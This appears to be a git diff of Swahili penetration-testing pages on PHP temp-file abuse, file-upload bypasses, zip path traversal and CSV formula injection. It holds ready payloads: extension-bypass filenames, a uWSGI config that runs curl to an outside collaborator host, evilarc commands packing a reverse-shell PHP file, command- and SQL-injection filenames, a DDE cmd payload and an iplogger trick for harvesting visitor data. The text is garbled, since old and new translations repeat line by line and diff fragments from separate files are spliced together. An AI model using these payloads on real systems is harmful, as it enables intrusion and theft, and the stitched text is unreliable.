Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inakatishwa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php umesitishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzipata** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote.
Parameta hii inaonyesha muda wa juu wa sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta hiyo haijafutwa**). Wakati ombi linafanyiwa kazi na PHP kwa idadi ya sekunde iliyoonyeshwa, inauawa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa liki-upload faili za muda, kwa sababu **usindikaji wa php ulisimamishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzitafuta** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote.
Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa usindikaji wa php kwa **php-fmp** (`request_terminate_timeout`**)** ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`.
Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa juu wa usindikaji wa php na **php-fmp** (`request_terminate_timeout`**) ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`.
Kisha, ili kuunda **faili 10000** mshambuliaji angehitaji: **`10000/66.67 = 150s`** (kuunda **faili 100000** muda ungekuwa **dakika 25**).
Kisha, mshambuliaji angeweza kutumia hizo **michango 100** kufanya **tafuta brute-force**. \*\*\*\* Tukikadiria kasi ya maombi 300 req/s muda unaohitajika kutumia hii ni kama ifuatavyo:
Kisha, mshambuliaji anaweza kutumia hizo **michango 100** kufanya **tafuta brute-force**. Tukikadiria kasi ya 300 req/s muda unaohitajika kutumia hii ni kama ifuatavyo:
- 56800235584 / 10000 / 300 / 3600 \~= **masaa 5.25** (50% nafasi katika masaa 2.63)
- (ikiwa na faili 100000) 56800235584 / 100000 / 300 / 3600 \~= **masaa 0.525** (50% nafasi katika masaa 0.263)
Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa ukubwa wa kati wa EC2:
Ndio, inawezekana kuunda faili 100000 za muda katika mfano wa EC2 wa ukubwa wa kati:
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Kumbuka kwamba ili kuanzisha muda wa kukatisha itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele.
> Kumbuka kwamba ili kuanzisha muda wa mwisho itakuwa **ya kutosha kujumuisha ukurasa wa LFI ulio hatarini**, ili uingie katika mzunguko wa kujumuisha wa milele.
## Nginx

View File

@ -17,11 +17,11 @@ Other useful extensions:
### Bypass file extensions checks
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
1. Ikiwa zinahusika, **angalia** **nyongeza za awali.** Pia jaribu kutumia **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza nyongeza halali kabla** ya nyongeza ya utekelezaji (tumia nyongeza za awali pia):_
- _file.png.php_
- _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp **kujaribu** herufi zote za **ascii** na **Unicode**. (_Kumbuka kwamba unaweza pia kujaribu kutumia **nyongeza** zilizotajwa **awali**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
4. Jaribu kupita ulinzi **kwa kudanganya parser ya nyongeza** ya upande wa seva kwa mbinu kama **kuongeza** **nyongeza** au **kuongeza data za junk** (**bytes** za **null**) kati ya nyongeza. _Unaweza pia kutumia **nyongeza za awali** kuandaa payload bora._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,18 +40,18 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
5. Ongeza **tabaka lingine la nyongeza** kwa ukaguzi wa awali:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
6. Jaribu kuweka **nyongeza ya exec kabla ya nyongeza halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia katika usanidi mbaya wa Apache ambapo chochote chenye nyongeza **_**.php**_**, lakini** si lazima kumalizika kwa .php** kitaendesha msimbo):
- _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya nyongeza iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye nyongeza iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama vile kutumia jina lake fupi. Mwelekeo “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia kunaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Nyongeza halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa payload unafanyika wakati wa uchambuzi wa faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinareload faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
Utekelezaji wa payload unafanyika wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi wa uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), na hivyo kupanua wigo wa uwezekano wa unyakuzi.
## **wget File Upload/SSRF Trick**
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kushusha faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizoshushwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitashushwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kushusha faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,31 +156,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita kipimo hiki ni kufanya **server ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili lililorejelewa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
## Zana
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya upakiaji faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kuwa na uwezo wa kufikia **SQL injection**
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
- [**XSS** katika upakiaji wa faili ya picha (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** faili **upakiaji** + **XSS** = [**Kudhulumu Wafanyakazi wa Huduma**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia upakiaji wa faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ikiwa unaweza **kuonyesha server ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
- [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa server ina **antivirus**
- Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kudhulumu [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
- [**XXE na CORS** kupita na upakiaji wa PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo ya kawaida kufuata maelekezo yaliyotolewa.
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
- Angalia ikiwa kuna **kikomo cha saizi** katika upakiaji wa faili
Hapa kuna orodha ya mambo 10 ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -208,11 +208,11 @@ Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikip
## Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya server, unaweza kufanya mambo 2:
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
### Symlink
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa:
Pakia kiungo kinachokuwa na viungo laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -220,16 +220,16 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
```python
@ -253,7 +253,7 @@ create_zip()
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
```php
<?php
@ -291,7 +291,7 @@ pop graphic-context
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayowezekana, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -299,19 +299,19 @@ Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Praktiki ya kawaida katika programu mbalimbali inajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Katika mazoea ya kawaida katika programu mbalimbali, inaruhusiwa tu aina fulani za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Pakia JSON halali kama vile ni PDF
### Pakia JSON halali kama PDF
Jinsi ya kuepuka kugundua aina ya faili kwa kupakia faili halali ya JSON hata kama hairuhusiwi kwa kudanganya faili ya PDF (mbinu kutoka **[hiki kipande cha blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` maktaba**: Kadri tu `%PDF` magic bytes ziko katika bytes 1024 za kwanza ni halali (pata mfano kutoka kwenye chapisho)
- **`pdflib` maktaba**: Ongeza muundo wa PDF wa uongo ndani ya faili ya JSON ili maktaba ifikirie ni PDF (pata mfano kutoka kwenye chapisho)
- **`file` binary**: Inaweza kusoma hadi bytes 1048576 kutoka faili. Unda tu JSON kubwa zaidi ya hiyo ili isiweze kuchambua maudhui kama JSON na kisha ndani ya JSON weka sehemu ya mwanzo ya PDF halisi na itafikiria ni PDF
- **`mmmagic` maktaba**: Kadri tu `%PDF` bytes za uchawi ziko katika bytes 1024 za kwanza ni halali (pata mfano kutoka kwa chapisho)
- **`pdflib` maktaba**: Ongeza muundo wa PDF wa uongo ndani ya faili ya JSON ili maktaba ifikirie ni PDF (pata mfano kutoka kwa chapisho)
- **`file` binary**: Inaweza kusoma hadi bytes 1048576 kutoka kwa faili. Unda tu JSON kubwa zaidi ya hiyo ili isiweze kuchambua maudhui kama JSON na kisha ndani ya JSON weka sehemu ya mwanzo ya PDF halisi na itafikiria ni PDF
## Marejeleo

View File

@ -6,10 +6,10 @@
### Info
Ikiwa **ingizo** lako lina **onyeshwa** ndani ya **faili za CSV** (au faili nyingine yoyote ambayo huenda itafunguliwa na **Excel**), huenda ukawa na uwezo wa kuweka **formulas** za Excel ambazo zita **tekelezwa** wakati mtumiaji **anapofungua faili** au wakati mtumiaji **anapobofya kwenye kiungo fulani** ndani ya karatasi ya excel.
Ikiwa **ingizo** lako lina **onyeshwa** ndani ya **faili za CSV** (au faili nyingine yoyote ambayo huenda itafunguliwa na **Excel**), huenda ukawa na uwezo wa kuweka **formulas** za Excel ambazo zita **tekelezwa** wakati mtumiaji **anapofungua faili** au wakati mtumiaji **anapobofya kiungo fulani** ndani ya karatasi ya excel.
> [!CAUTION]
> Sasa hivi **Excel itamwonya** (mara kadhaa) **mtumiaji wakati kitu kinapoload kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Hivyo, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho.
> Sasa hivi **Excel itamwonya** (mara kadhaa) **mtumiaji wakati kitu kinapoload kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Hivyo basi, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho.
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
@ -24,30 +24,30 @@ DDE ("cmd";"/C calc";"!A0")A0
**Mfano ufuatao ni muhimu sana kutoa maudhui kutoka kwa karatasi ya mwisho ya excel na kufanya maombi kwa maeneo yasiyo na mpangilio. Lakini inahitaji mtumiaji kubonyeza kiungo (na kukubali viashiria vya onyo).**
Mfano ufuatao umetolewa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Mfano ufuatao umechukuliwa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unavyotumiwa kupitia shambulio la CSV injection. Nia kuu ya mshambuliaji ni kuathiri mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya katika programu, hasa kwa kuingiza fomula hatari katika maeneo yaliyokusudiwa kwa maelezo ya wanafunzi. Shambulio linaendelea kama ifuatavyo:
1. **Kuingiza Mzigo Mbaya:**
- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("<malicious_link>","Click here")`).
